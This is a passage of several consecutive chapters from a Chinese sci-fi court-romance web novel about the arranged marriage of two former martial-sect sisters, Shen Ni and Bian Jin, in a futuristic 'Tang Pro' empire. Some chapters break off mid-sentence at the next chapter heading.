如今边烬落难,沈逆不许别人染指,要放到自己手边慢慢磋磨玩弄。
还有一方微弱的声音没能上桌。
怎么就不能是这对同门师姐妹早就暗生情愫,终于修成正果?
外界各种流言不断,二人婚事被传得沸沸扬扬,不看好者居多。
而靖安侯府为了操办这场突然而至的大婚,连续十日日不暇给,家仆累得各个脸如菜色。
太常寺少卿和主簿带人来帮忙,说天子口谕,沈总监事和边女郎的大婚务必得办好。
边烬为国征战多年,曾统领北境十二州所有兵马,落下一身伤痛。入狱之后,她所有的头衔、功名甚至过往荣耀,统统被褫夺,徒留一个“边女郎”。
确认大婚用度的时候,主簿私下跟少卿感叹。
“可惜了沈逆啊,这等风光的人物,怎么着也得当个驸马、郡马。再不济京中贵女也随她挑。可现在……哎。”
少卿挑起一边眉,斜睨着,“怎么,你在置喙圣意?”
主簿笑容僵了僵,没敢接话。
少卿看他被吓着了,哈哈笑起来,拍拍他后背道:
“你若是也有本事登得那般高,便会明白高处不胜寒。有些甜头看上去是奖赏,谁知道会不会是警钟呢?”
主簿明白了。
沈逆如今风头太盛,有功高盖主之嫌,若是再将公主或者郡主下嫁,恐怕距离专权乱政不远了。
天子指了一个嫌犯到她身边,是明摆着削弱她的权力,切断了继续高升揽权之路。
这制衡会不会太明显了一点?
可天子想要敲打臣子,何时在意过明不明显?
主簿暗暗看向阴晴不定的少卿。
就像这少卿对他一样。
……
大婚的请柬已经全部派送。
引发京城内外的双极楼同门在群中热议。
曾倾洛在准备贺礼时,看见师门群里都在讨论这件事。
【大师姐能出狱是好事,可她和小师妹不是早就老死不相往来么?成亲了得有多尴尬?】
说话的是双极楼内门弟子。
在内门弟子看来,沈逆是排行最小的小师妹。
而对于外门弟子而言,沈逆算是师姐,所以称她为“小师姐”。
【还是天子指婚……若她们婚后还像从前那般避之若浼,可是对天子的大不敬。】
【她们相差七岁,不是一代人吧?】
【以前关系还是很好的,就是那次严惩后,大师姐每次传信或者视频回师门,小师妹都避开不见。但凡有人提到大师姐,她就绕开不听。】
【只因此事?没有其他内情?】
【那谁能知晓呢?总不能是情感纠葛吧?】
【怎么可能,两人差这么多岁,又都是冰块投胎,居然还能想到情感纠葛?】
曾倾洛看他们越说越离谱。
即便双极楼因边烬的离去名存实亡,师门内外各奔东西,可他们嚼师门姐妹舌根的行为是不是太明目张胆了?
曾倾洛想要提醒他们别太碎嘴。
还在打字的时候,又有一条浮了上来。
【我们大师姐素来严苛,师门的小师弟小师妹们都挨过她的板子。犹记当年栖山少主送她十年才开一次的墨心兰,回头她居然拿那花研墨。娶咱们这大师姐估计和娶根木头没什么区别。小师妹倒霉,婚后的日子肯定没滋没味咯。】
曾倾洛知道嚼舌根这人,内门六师兄,以前最是顽劣,没少被大师姐规训,字里行间还是恨意满满。
曾倾洛挤兑他的话还未发出来,就见有个人特意回复了他。
【六师兄,我婚后是否有滋味,不劳您操心了。六师兄还是操心一下自己伪造文书的事儿要是曝光了该怎么办吧。】
此人顶着一个黑乎乎的夜晚雪山头像,名字也只有一个【。】,没怎么在群里说过话。
可是这句话的视角,除了沈逆本人,还有别的可能吗?
群内鸦雀无声。
随后一整排的“消息已撤回”,如火如荼的聊天窗口瞬间变得空空荡荡。
六师兄更是仓惶退群。
曾倾洛看另一个私人小群里,唰唰唰又是好几条。
【小师姐如何在群里?谁将她拉进来的?】
【好像……她就是群主,当初为了京师同门联络方便建的……只是向来不说话,估计很多人不知晓群主是她。】
【你倒好,现在才说!】
【这可如何是好啊……】
【别说了,速速买份厚礼送去谢罪吧。】
无论谁在唱衰,又有谁在等着瞧热闹,这场大婚还是如期而至。
大婚当日。
偌大的侯府来者不多,宾客者大多数都是师门旧友,以及跟随沈逆在燕落出生入死的下属。
朝中一半高官都没有到场,只托人送来贺礼。
沈逆轻转手中遮脸的团扇。
也明白这些人的想法。
毕竟“叛国”一案还不算彻底了结,天子突然指婚,打得到底是什么主意,老朽们怕是看不透,不敢贸然站队。
人不出现,厚礼送到,即便有怠慢之嫌,也好过回头被秋后算账来的好。
人来得少,倒也省事。
毕竟刚给边烬更换了备用的机械脊柱,不宜久站。
迎来送往间,沈逆与边烬并肩而立,妆容相似,身着相同的婚裙,手执同款团扇。
扇面上两只鸳鸯,好不登对。
只是这二人各看一方,貌合神离。
今日一早。
婚宴开始之前,边烬在西边厢房,沈逆在东边厢房。
按理来说两人得到了洞房才能见面。
沈逆妆容刚定就来西厢房,对坐在镜前的边烬说:
“今日宾客往来,气味肯定浑浊。我为师姐做了一款口罩,能消气祛味。”
边烬看着镜子里自己和沈逆,相互呼应的打扮,将要与她成亲的事忽然有了真实感。
只是,在领旨时的那声“夫人”,又变回了“师姐”。
边烬道:“多谢师妹。”
在一旁的万姑姑听到这等称呼,以及两人语气中的平淡,难免想,到底是多年未见了,被天子硬凑在一起,如此生分的两人套上最亲密的身份,可有的磨合。
沈逆站在边烬身后,戴着黑色手套的手指张开,空中浮现一张半透明蓝白色口罩状薄膜。
口罩悬在边烬下半脸前不到半寸处。
沈逆指尖轻巧地往她两侧耳朵上勾,口罩便挂上了。
口罩的形状和边烬的脸部轮廓严丝合缝地贴合着,还特意预留了一点空间,呼吸能更加顺畅,利于长期佩戴,从缝隙中荡入的气流也会被彻底净化。
口罩的贴合度让边烬有些意外,仿佛比照着她的脸做的。
可是沈逆并没有测量过她的脸部曲线。
随即,她想起沈逆有超忆症的事。
所以……关于她的细节,都在沈逆的脑子里存着么。
“还能调整透明度。”
沈逆的手在边烬的左耳外侧上滑,口罩变黑。下滑,则变成完全透明。
“更改颜色也很方便。”
沈逆另一只手在边烬的右耳外侧转动,颜色赤橙黄绿青
6. 第 6 章
《焚情》全本免费阅读
腰间松动,边烬心头发紧,将要散开的裙子让她很没有安全感。
沈逆没让裙摆真的散落,手腕贴着边烬的腰肢,柔软纤细的指尖往她的后腰处弯曲,犹如一枚为她腰身量身定制的搭扣。
闭合的窗户上人影晃动。
屋内屋外,无声凝视。
“我带你去床上。放松,腰不要发力,不然脊柱会有负担。全部的重量交给我。”
沈逆的气音清润,像在叶缝中缓缓流淌的露珠。
边烬余光看向屋外人影,有些为难,但最后手臂还是配合地勾住沈逆的脖子。
灯火摇曳下,剪影相贴,暧昧气息暗自流荡。
沈逆轻易将她抱起,床榻挤压声响清晰传到屋外。
女官们互视一眼。
边烬躺在床上,沈逆单手压在她脸侧,支撑着上半身,缓缓自她腰间抽出另一只手时,道:“别看我。”
边烬略有点疑惑,沈逆别开脸,对着屋外的方向,绵软勾人地“嗯”了一声。
很压抑,但在安静的夜晚也足够销魂露骨。
两位女官听得一清二楚。
个稍矮的女官神色略怔,不自在地咳嗽了一声,脸颊微红,说:“走。”
高个女官快步跟在她身后一同离开。
细碎的脚步声远去,院中徒留夜风鸣廊。
“她们走了。”
沈逆收回目光,转头时无意间看到床边矮几上放着红色圆盘,盘中盛着红彤彤的喜果。
灯早就关了,只剩扑朔的烛光。
婚服、红被、垂帐……
沈逆再次想起,这是洞房,是她和边烬的洞房。
身下人开口:“可以起来了。”
被沈逆圈在手臂中的人侧着脸,望向床内侧。
纤睫翘曲,秀颈琼钩,腰若流纨素,温软的胸口微微起伏。
提醒沈逆的语气平淡,淡得如得道高僧,无欲无情,几乎要化在夜色之中。
沈逆离身,边烬坐起。
沈逆脖颈肌肤有些热意,边烬方才搂着她的触感还残留在上面。
再看边烬,似一切如常,神色镇定,实则耳尖早就覆上一层血红。
沈逆眸色微动。
师姐冷若高山寒冰,却也不是全然无感。
一番折腾下来,边烬绾好的发髻有些乱了。
沈逆极少见她凌乱的姿态。
安静的洞房内,不太熟悉的两人骗走了旁人,也落得无话可说。
沈逆端起合欢酒,轻嗅。
浓香的酒味散发着刺激的辛辣。
“是烈酒,能助眠。”
沈逆将酒递到边烬面前。
边烬有很长一段时间没喝过酒了。
以前在燕落打仗的时候,天寒地冻,经常靠喝烈酒取暖。
既名为合欢酒,自然是两杯,一对的。
新婚双妻本该交杯共饮,耳鬓厮磨。
但想起方才沈逆抱着她又压着她的感受,边烬接过酒盏时的动作都有点犹豫,更遑论耳鬓厮磨。
幸好沈逆利落地一口喝下,没给边烬为难的机会。
边烬也仰头喝了干净。
烈酒辛辣,辣得沈逆嫌弃地眯起眼。边烬却全然无事,如同喝了杯凉水般平静。
各自喝完酒,边烬将酒盏放到案几上,发现装着喜果的圆盘边上还有一个刷了朱漆的木盒子。
边烬有些好奇,“这里面装的是何物?”
沈逆:“师姐还是不知道为妙。”
边烬最是听不得激将法。
将木盒打开,里面陈放了好几样东西,形状怪异陌生,描述的文字也令她不解。
边烬:“这是做什么用的?”
沈逆:“助兴。”
边烬:……
啪——
边烬扣上盒子,别过头。
沈逆欣赏着她脸上难得一见的慌乱。
“我说了,师姐还是不知道为妙。”
边烬努力控制着紧绷的嗓音,“我,如何知道这里面是那些。为什么会摆放这种东西在此?”
沈逆:“没什么,洞房必备物品罢了。”
边烬又是一阵沉默。
洞房,自然是新婚双妻尽情欢愉之地。
有助兴的器物好像也没什么不对。
只是脸颊发烫的温度不太受控制。
沈逆饶有兴致地观察边烬的反应。
六年前,与边烬分别之初,沈逆确定边烬从未与任何人有过情事,连情爱沾边的情绪都不曾有过。
倒是隔三差五的有人上双极楼提亲,被她直言不讳地拒绝。
钟情于边烬的人络绎不绝,但她从未正眼瞧过谁,包括单方面告白的沈逆。
六年后,依旧毫无长进。
朱漆木盒内的事物让边烬颇有些难堪。
这份难堪让沈逆确定,未见的六年中边烬没有变,依旧是她熟悉的大师姐。
这位玉面阎王行伍杀人不在话下,情感经历意外的单纯。
<
7. 第 7 章
《焚情》全本免费阅读
第二日,沈逆和边烬差不多时辰醒来。
两人半句话没说,沈逆套上衣服便出了寝屋,在院中洗漱,换上官服。
初升的太阳晒在身上还挺暖和。
一夜没怎么睡好的沈逆眼下有些青黑,轻轻打着呵欠,跟万姑姑交代,一会儿给边烬准备哪些药膳,说完后没在府中用膳,直接去了早朝。
今日她走得晚了,没再悠闲骑马,换乘飞艇。
飞艇和摩托有些类似,速度比摩托更快,可以在夜间展开休眠仓,顾名思义,还能在天上飞。
正了幞头,系上大氅,墨镜压上高挺的鼻梁,蓝光一闪,飞艇载着她冲向空中航道。
阳光正艳,晒得城内厚厚的积雪发亮。
驶入预设轨道,自动驾驶开启。
沈逆打开中控屏幕,收了几封从燕落发回来信。
如今她人已回到京师,但一部分旧部、亲信依旧留在燕落,暗中为她办事。
她一直在暗中追查,边烬在燕落消失的三年究竟去了哪里。
以及所谓的“叛国”真相。
大理寺关了边烬一个月,什么法子都试过,没能从她口中撬出半个字。
边烬说自己失去了那三年的记忆,大理寺不可能相信,沈逆也觉得蹊跷。
沈逆没有硬闯边烬的记忆模块,但检查过模块的情况。
损伤不轻,经过修复后,可能一些零碎小事暂且想不起来,但所谓“叛国”这么大的事,一定会占据记忆模块很大一部分,想忘都难。
边烬看上去又没有撒谎。
以沈逆对她的了解,“坦荡”二字都不足以形容,她一贯孤傲,不屑骗人。
传闻中,边烬那三年和弦昼女帝厮混在一起,二人在女帝行宫内荒糜无度。边烬更是为了哄那女帝欢心,将帝国最高机密拱手献上,导致弦昼不费吹灰之力拿下燕落以北的白、掸二州。
弦昼帝国攻城略地时,白、掸二州门户大开,几乎没有任何抵抗就放敌军入城。
城门开启的权限,正是边烬所有。
以上,便是所谓叛国的“铁证”。
当初听到这些传言时,沈逆很失礼地当着传话人的面笑出声。
就这位面冷心更冷的师姐,拴马桩都比她有情趣。
实在想象不到“荒糜无度”这四个字,怎么和她联系在一起。
若是师姐能用江山去换美人欢心,也不至于到今日孑然一身,欠下厚厚一摞的情债,让真心喜欢过她的人又爱又怨了这么多年。
受了重伤,半身残疾,身边连半个惦记她的情人都没有,还得沈逆这师妹照顾。
那些无聊的传闻,沈逆半个字都不信。
还顺便记了弦昼女帝一笔。
弦昼那女帝,沈逆在北境的时候遥遥见过一面,看不清脸,只觉得疯癫得厉害。
这些时日沈逆一直在思索边烬的事。
既然边烬记忆模块没有被黑魔方污染的痕迹,那么只剩一种可能。
有人黑入了她的记忆模块。
这三年的记忆被封印,或者改写了。
黑入她的人手法极其高明,天赋不在沈逆之下。
这么做,自然是为了隐瞒一些事。
藏在燕落的谜题恐怕比沈逆想象的还多。
不过有一点沈逆可以确定,边烬决计不会叛国。
即便有一天兵临城下,李渃元携家眷跑路了,边烬都会御敌至最后一口气。
若不是边烬一片赤心只为社稷生民,当初也不会狠心离开双极楼,拖着一身伤痛的病体再次出征。
此去经年,生死难料。
沈逆曾经以为再见到边烬时,得是面对一具尸骨。
即便是无名尸骨,她也能认出她师姐就是了。
这么说来,一身残损的边烬回到她身边,竟不算是最差的结果。
……
今天依旧没有沈逆要的信息。
关闭账号,彻底隐藏程序后,飞艇已经到达皇城上空。
空中陆陆续续有别的朝臣驾驶飞艇靠近,大老远看到了独自一人的沈逆,就近的、特意拐了弯的,都过来见礼。
“侯君这才刚刚大婚,还在婚假中吧,怎么还来早朝了?”
沈逆不咸不淡打了招呼。
她自然是无利不起早。
飞艇缓缓降落,今天是正月里唯一的一次早朝,栓马柱和泊车位已经被挤满。
沈逆的飞艇降落在她专属停泊位上,掀起繁琐的朝服,长腿轻转,下艇。
金鱼袋在腰侧轻盈摆荡,她与同袍们一齐走过慕天长廊,往大明宫的方向走去。
慕天长廊直通大明宫正中的含华殿。
含华殿是大明宫的主殿,原名含元殿。
在李渃元登基时为避天子名,改元为华。
慕天长廊全长二里,两侧每隔几步便是栩栩如生的雕龙石。
最前列的雕龙石龙眼上设有人脸扫描系统。
上朝官员们路过,系统通过扫脸,一一点卯。
这座大明宫的蓝图和所有资料,来自未知的未来。
五百年多前,此世代刚刚在战乱中得以喘息,前朝一位工部小主事,于一片隐蔽的废墟中发现了一个奇异的胶囊。
胶囊只有成年人前臂大小,但它装载的事物,是这位走南闯北的小主事闻所未闻的。
还有一封足够用余生来解读的信。
【敬爱的先祖,无论你或你们是谁,现在肯定对眼前看到的一切充满疑惑。开门见山,这是一枚穿越了时空的小小胶囊,它装载了来自遥远未来的智慧和力量。我们,正是你们的后代。
【我们生活在一个高度网络化的时代,拥有你们现在还无法想象的成熟科技。最直观表现在我们破解了时间的秘密,将这封信,以及蕴藏了最尖端科技与压缩能源的胶囊送到你们手中。
【我们阅读历史,看到了盘桓在历史中无数战争、死亡、饥饿、天灾和流离失所,我们要做的就是用科技改变这些苦难。
【不谦虚地说,对你们而言,这必定是前所未见的巨大的财富。它一定会为你们的时代带来空前的繁荣,你们将亲眼目睹科技爆炸后翻天覆地的生活。
【这颗胶囊会出现在多远的过去,我们尚不可知。你我之间或许相距一千年,两千年,甚至身处两个不同的平行宇宙。但我们相信,你们一定拥有开启胶囊的勇气。胶囊中的技术和能源,以及关于我们这个时代庞大的历史资料,都是以压缩的形态保存。解压方式很简单,只需要按下胶囊里唯一的按钮。
【所有的灾荒将远离你们,你们将富甲一方,战无不胜。你们会眼前目睹一个崭新的历史篇章,一个充满光明、温暖、力量和无限希望的未来。
【敬爱的先祖们,这是我们身为子孙后代唯一能为你们做的。
【请以最大的谨慎和尊重对待这份礼物,因为它承载着我们所有人的敬意。
【祝你们好运,愿勇气和幸运永远与你们同在。】
或许这世间没人能战胜这份巨大的诱惑,何况是那位正饱受战事摧残,渴望活下去的小小主事。
胶囊被一键开启,海量的史料以及令人难以置信的科技和能源,在眼前铺展开奇幻般的未来。
那位小小主事最终完成了活下去的心愿。
不仅活了下去,还点燃了科技爆炸的第一把火。
尚处于低科技农业社会的文明,混入了本不属于这个时代的尖端科技,经过五百年首尾不顾的疯狂发展、极端复兴浪潮的洗礼,以及对未来世代狂热的崇拜,保守又开放的扭曲社会逐渐成形。
当年小小主事,便是新世代帝国的缔造者,李渃元的先祖,当朝“太.祖”。
这座大明宫,是对未来世代极端崇拜的产物。
连帝国的名字在致敬未来世代某个昌盛的王朝。
与此同时,也毫不避讳地展现新世代的傲慢和张狂——
唐Pro。
走到慕天长廊的尽头,含华殿就在眼前。
唐Pro帝国的天子李渃元,正站在云阶之上,享受着朝臣们的叩拜。
沈逆抬起头,看到了掌管这个朝代三十余载的女人。
李渃元沐浴在阳光下,朝着千百俯首的臣子,面目模糊。
当初那颗让世界翻天覆地的胶囊和信件,唯有李氏嫡系后代亲眼目睹过。
沈逆有一事好奇。
眼下这个时代是怪诞不经,可论科技水平已然登峰造极,未必落后于未来世代,却还未破解时空穿梭技术。
那些个素未谋面,生活在遥远未来的子子孙孙们,真就舍得花费九牛二虎之力刺破时间的樊笼,只为了远古祖先们能吃饱穿暖,甲冠天下?
唐Pro的确已经称霸大陆,为三大古国之首,可那又如何?
看看现下这颓废惶恐的末世景象,谁能说一句“孝顺”呢?
阳光从李渃元的身后升起,倾斜的沉黄色将她的影子拉得越来越长,在地面上投下一抹巨大的阴影。
……
早朝上,李渃元着重提及刚刚上任城防总监事的沈逆。
且将城防工程提到工部所有工程首位,让工部尚书好好配合沈逆,所有资源优先配给城防。
长安城的城防率先搭建,技术成熟之后再拓展到洛阳等重镇要地。
李渃元给足了沈逆脸面,面上看似重用她,其实是将压力全部压在她身上。
沈逆心知肚明,但城防必然是要建的。
不然,黑魔方一旦死灰复燃入侵京师,生灵涂炭的场面不得让边烬心碎?
城防工事不仅得做,整体规划方案还得重做。
早朝之后,沈逆单独留在含华殿,跟李渃元说了要重做城防的计划。
先前制定的城防功能可以保留,但远远不够。
沈逆打算在现有基础上增加更多的功能。
城墙顶端架设防御炮台,智能追踪系统能精准锁定上至五十丈,下至二十丈所有试图靠近长安城的危险元素。
墙面上以蜂窝形状装配动态修复点,一旦受到攻击,城墙能够快速自我修复,同时发出危机等级警报。
防护墙地基还得往更深的地方挖,深入地下数丈,与长安城内的主机网络相连,构成庞大的信息枢纽,让信息传递和权限关启都能更加高效。
遭受极端危机时,还能一键开启静默模式。
静默模式之下,防护墙上下将延伸出弧形防护层。防护层能在一盏茶的工夫里上下相扣,长安城会变成一个无法进入,也不能出港的巨型金属球。
这些都只是一期工程要实现的基础功能。
她见识过黑魔方的恐怖的力量,若是城防工程按照她现在的设计,也只能在黑魔方出现的初期,给予一点预警和脆弱的自求。
她犹记还在燕落时,老迈的先知在死之前留下的话——
人类在黑魔方面前,唯一能做的事便是祈祷。
祈祷死的时候,不要太痛苦。
黑魔方已经被沈逆暂时消灭在燕落。
可所有人都知道,沈逆带给帝国的不是永远的太平,而是一时喘息,以及有时间竖起抵挡
8. 第 8 章
《焚情》全本免费阅读
薄暮冥冥,沈逆终于要散班回府时,收到户部传来的信件。
户部下属民政司,邀请她和她的新婚妻子边烬,一同前往民政司开通“连理模块”。
估计边烬也收到了。
所谓连理模块,是唐Pro帝国大多数法定伴侣会开通的情感互通模块,有多种利于伴侣交流和增加情感的功能。
包括情感共鸣、感知共享、梦境互通、情意共振……甚至还有身体托管。
光看字面意思,就知道这是个在伴侣面前毫无隐私可言的功能。
连理模块的诞生,极大提高了认知婚配对象是否合适的效率。
据说开通了连理模块的伴侣,很容易白头偕老,也极有可能立即合离。
以她和边烬现在的关系,边烬肯定不会愿意跟她开通。
沈逆回到侯府时,见边烬正站在前院和两位侍女说话。
晚景余晖斜映在边烬的侧脸,病容已退,淡淡的憔悴感为她披上柔和的外衣,让记忆中严厉的师姐多了一层陌生的温柔。
见沈逆过来,侍女们施礼后便离开了。
沈逆望着边烬的新衣衫,说:“是兰台的官服。”
这身素白底浅蓝兰花背纹的官服是兰台特色,沈逆一眼便知。
兰台官服温文尔雅,穿在边烬身上比她想象的要适配。
清秀知性,窈窕易折。
听到沈逆的声音,边烬回眸,目光被沈逆的唇吸引。
沈逆的唇色是偏软亮的樱粉,盈透的肌肤搭配身后白雪皑皑,让这双唇看上去饱满又柔软。
边烬被那太过张扬的美灼了一下,有些艰难地往上移。
沈逆将墨镜推至眉上,摘下,纯黑的瞳仁仿佛被水濯过般明澈清雅,摄人心魄。
边烬竟不知看何处才好。
记忆里,小小的沈逆只到她腰际。
千山万壑,都是她牵着沈逆走过。
如今那总爱缠着她的小少女,身量已经和她一样高了。
“是天子钦点下来的差事,让我出任兰台令史。”
边烬提及此事很平静,没有抗拒去兰台修史的意思。
边烬觉得应该是沈逆向天子为她讨的差事,故跟沈逆提一嘴,算是有个交代。
听在沈逆耳中,仿佛真是妻子向自己报备行踪,别有一番奇妙滋味。
的确是她向李渃元给边烬讨了个轻松的差事,沈逆道:“偶尔走动走动,利于康复。只是不可太操劳。”
“好。”
数日未见的二人碎语两句,沈逆便要离开。
“师妹。”边烬叫住她,“我收到了一封户部传信,邀请我与你一同开通连理模块。”
沈逆停下脚步,回眸。
边烬果然也收到了。
边烬:“我仔细看过模块的说明,现在帝国半数以上成亲的伴侣都开通了。虽说在某些方面而言是很方便,但似乎对隐私不太友好。”
沈逆心道,不愧是师姐,洋洋洒洒六十六页说明居然看了,还是仔细看了。
沈逆道:“不急,你若有需要再开通。”
沈逆的随性,让边烬没有任何压力。
再要离开,边烬心口有一股反胃感往上涌,眉心非常轻微地拧了一下。
因常年身居高位,身边危机重重,所以她习惯了声色不露,淡然内敛。
刚才这点不适,也只外露出了一丁点的痕迹。
正待从沈逆身边离开,被沈逆勾了一下。
微不可查的皱眉落入沈逆眼中,沈逆想问她哪里不舒服,还未开口她便要走,本能地想拦下她。
手刚抬起来,便想起她洁癖的事。
虽说进门前特意在门口洗了手,消了毒,还换了身外衣,但也只是表面工夫,奔波一整日沾上的冷气,以及陌生人的气息,肯定会让边烬不舒服。
顾及洁癖,沈逆手抬了一半便想往回降,没想到正好勾住边烬的小指。
两人都没戴手套。
指弯内的触碰,微微交错时一磨,对于极少与人肌肤相贴的边烬而言,像一股难捱的电流,从指弯内侧不讲道理地乱蹿入心上。
沈逆:“……失误。我是想问你是不是哪里不舒服。你现在身体只是初步修复,要更多观察。有什么不对劲的地方记得及时告诉我。”
边烬面上不显,将微微沁出粉意的手交握在一起,藏住。
“只是在兰台食司用了午膳,有点不对胃口,无碍。”
沈逆自然了解边烬,边烬肠胃脆弱口味极淡,以前就只能吃万姑姑做的饭,但凡到外面吃上一顿就得犯恶心。行军这些年估计硬是克服了,没想到这一伤,又现原形。
沈逆嘴上说:“原来如此。”
这么点小事说出口,反而让边烬不自在,觉得自己在对沈逆撒娇,有点矫情。
很快两人各走各路。
沈逆的工作室已经彻底收拾好,调试新的机械臂时,万姑姑过来敲门。
“侯君,该用膳了。”
沈逆心想,自重逢第一日后,意识清醒的情况下,师姐没有再唤过她的小字“阿摇”。
看来还是对曾经的事心存芥蒂。
她这被笞的人都还没说什么呢。
不过,念及边烬在兰台午膳没吃好,晚膳还得对着她这张脸的话,恐怕又得消化不良。
“你让师姐先用,不必等我。”
万姑姑应了声“喏”,转头往庖厨去时不由多想,这对双妻都已经进洞房了,还师姐师妹地叫着,也不知是何趣味。
边烬独自坐在饭厅,万姑姑传达了沈逆的意思。
边烬淡笑道:“知道了。”
但也没用膳。
她打算等一等沈逆,或许她事情忙完了,就过来了。
常年照顾师门、行军作战,让她养成不愿浪费零碎时间的习惯。
最近,她每天都会试着自己破解被禁止访问的记忆模块,看看能否顺利调取近三年的记忆。
等师妹的工夫,正好再试试。
一刻钟过去,此路依旧不通。
一些混乱的记忆碎片猛地刺入她的脑中,犹如一根针,扎得她嘴唇微抿。
睁开眼,暂时从记忆模块中退出。
额头上有些冷汗,但她一贯擅于忍痛,这点痛感对于她而言已经习惯了。
不可心急,万一太冒进,使得刚刚被师妹修复好一些的记忆模块再受损,只会得不偿失。
她打算多查一查最近三年燕落发生的大小事,或许对恢复记忆有帮助。
又等了一会儿,沈逆还没来,边烬便知她不会来了。
清淡的时蔬入口,难受了一整日的脾胃慢慢被安抚。
念及沈逆说她这些年谈过几次恋爱的事,夹菜的动作变缓。
眉间缓缓折起一道浅痕。
也不知道被迫成婚之时,师妹是否有恋人,有没有因为此事影响她们的感情。
.
为了不被扣上对天子大不敬的罪名,新婚双妻自然没有分房睡的道理。
只不过,今夜她俩还是各睡各的。
沈逆睡地,边烬睡床。
一夜无话。
第二日
9. 第 9 章
《焚情》全本免费阅读
沈逆转完账,洗漱回来时,收到了新的飞鸽传信。
还以为是边烬回复她,点开看,是民政司群发给所有长安城百姓的上元灯会邀请函。
【今年上元节,将首次揭开通天火轮的神秘面纱!西市望仙楼下更设大型有奖猜灯谜活动,期待大家踊跃参加!邀请亲朋好友,一起度过美好的上元节吧!】
邀请函内还有一副辉煌的通天火轮绘制图。
从图中可以看出,火轮高耸入云,占据了大半个市集,的确很壮观。
沈逆退出邀请函,登录内廷账号,李渃元依旧没给她开通最高研发署的权限。
那就慢慢耗着。
又有一封新的飞信。
还不是边烬,是她在燕落时一起摸爬滚打过的战友。
战友说近日要到长安城执行任务,听说她成亲了,还没来得及当面道贺,这次过来一定带上厚礼,登门拜访。
沈逆简短回复。
一早上电子表震了又震,飞信格外繁忙,却没有一封来自边烬。
忙去了?沈逆下巴轻搭在指背上,一双凤眼微垂,懒懒的。
兰台竟还有忙碌的时候。
边烬的确在忙。
收到沈逆飞信时,她便知道沈逆理解错了。
她只是想在花大钱之前报备一声,没料到沈逆竟如此大方,转给她五百两。
像她在跟沈逆讨要什么似的。
这乌龙事件弄得她有些尴尬。
正要回复解释,兰台大夫程辙唤她去义体档案馆,帮忙归档报损的义体。
归档报损义体的工作很辛苦,一直都是轮班制。
今日不是边烬的班,但程辙让她帮忙,她去就去了。
看着边烬去了档案馆,程辙挥着袖子扬眉冷笑。
兰台大夫,便是兰台最高长官。
只不过程辙一向不以兰台一把手为傲,顶破天了,不过就是个修史归档的工作,配不上他。
他不到三十岁便金榜题名,是那届进士中最被看好的,谁知最后竟沦落兰台,升迁无望。
要说大挫他官途之人,可真是有缘分,正是近日被调到兰台,出任小小令史的边烬。
当初边烬掌管北境十二州时,程辙正好在十二州之一的郢州磨勘。
他在郢州结交了当地极有名望的士族江氏,娶了江氏嫡女为妻,得了当地门阀支持,一路顺风顺水,距离郢州节度使仅一步之遥。
边烬身为北境总都督,所有官员升迁贬谪自然需过她手。
边烬在程辙的升任文书上画了叉。
边烬驳回的理由毫不容情。
“程辙在家乡早已婚配,却因贪恋权势抛弃妻女,另娶他人。他能为仕途背信弃义,往后也会为一己私欲弃整个州的百姓于不顾。此等品性不可重用。”
到嘴边的节度使丢了,程辙一蹶不振了很长一段时间。之后四处打点,好不容易回了京。这些年狗苟蝇营也未见起色,最终落到兰台,晋升之路被彻底斩断。
程辙一直觉得自己无法高升,归根结底都是边烬害的。
若不是当年她打的那一棍子,如今在北方磨勘数年,也该风风光光地回调中枢了,怎么着也能混个户部侍郎。再熬几年,九卿的位置手到擒来。
可现下窝在这不值一提的兰台,在旁人看来和给垃圾分类没什么区别。他就是垃圾场的管理员。
程辙一直记恨边烬,如今峰回路转,边烬到了他的手下,本来可以狠狠报复一番,谁知她居然和沈逆成了亲。
虽然外面有人在传,是沈逆向天子讨了这门亲事,将她娶到身边一是为了调查叛国案,二也是为了一算旧账。
靖安侯怎么想的程辙猜不到,所以他也没胆子肆意报复边烬,可暗中让边烬难受还是能做到的。
也算一解心头之恨。
档案馆内。
一名身材娇小的女官推着沉甸甸的义体车,累得三步一歇。
孟初捶了捶发酸的腰际,挺直脊背,眼前都重影了。
昨日是她值班,今日是她值班,明日还是!
这兰台欺负新人的风气真是丝毫不遮掩。
可谁让她出生寒门,能混个京官已经很不错了。忍字头上一把刀,痛就痛吧,耶娘还等着她寄银子回家。
孟初咬牙,想要继续推车的时候,一只手压在车把上,重得像山一样的义体车被丝滑地推动。
孟初回头看,是昨日新来的姐姐。
这两天她忙得晕头转向,还不知道这位姐姐叫什么。先前只来得及瞥过一眼,冷是真冷,可那张脸美得让孟初一个未成亲的小娘子看得目不转睛。
这会儿近距离一瞧,骨相清绝,仿佛是天宫下凡的神仙。
孟初没想到漂亮姐姐会来帮忙,立即道谢。
边烬没应她,只将车平稳推到馆内。
孟初看着她的背影,打了个哆嗦,真的好冷淡……
偌大的档案馆中明明有两个人,却没有半丝人声。
边烬干活飞快,只用肉眼看一眼义体,就知道该往哪儿放。
孟初则要一一扫描,看半天说明才能确定位置。
用来抓取义体的机械臂她也操纵得很不熟练,几次都差点脱落。
边烬将东侧两排归档完毕,看孟初紧张得额头冒汗,走到她身后说:“放松,别看自己的手。抬头看机械臂。”
边烬说话非常笃定,是令人信服的指令,让孟初情不自禁照她的话做。
边烬:“想象机械臂是你自己的手,匀速托举。可以放进去了。”
嚓——
义体被稳稳放上高架,孟初兴奋地“哇”了一声。
“谢谢姐姐!我还没这么顺利归档过!”
边烬看着地上各种划痕,“看得出来。”
孟初:……
这姐姐不仅冻人,嘴还挺毒。
短短一个时辰就将今日的义体全部归档,效率惊人的高。
边烬闷声干活,而后又一言不发地离开,孟初跟在她身后问:
“总是叫你姐姐怪不好意思的,能告诉我你的名字吗?”
边烬没回头,扫描瞳孔开门的时候,将自己的名字告诉她。
孟初怔住。
这名字,怎么和……那位叱咤风云的话题人物一样?
忽然想起这几天同僚们在说什么“怎么来兰台了”“躲着她点”。
难道……
真是那个大名人边烬?
.
靖安侯府。
没等到边烬的回复,沈逆想起边烬昨日在兰台食司吃得就不怎么舒服,今日估计也差不多,正好闲来无事,便给师姐顺顺胃口。
万姑姑和婢女一块儿将采买的食物拎到庖厨时,见沈逆在这儿煲汤。
万姑姑纳闷,“侯君,您这是做什么?”
沈逆守着火,片鱼肉,“想喝山药牛尾汤了。再蒸个鱼。”
万姑姑:“您还会做饭呐?”
沈逆将鱼肉的刺全部剔除。
“自然,在外打了这么年的仗,若是连饭都不会做,哪有力气杀敌?”
万姑姑看她做饭的手法熟练,便不再操心。
沈逆将做好的饭菜和养生汤分装进双层保温盒内,想了想,又加上一份草莓乳酪,便往兰台去。
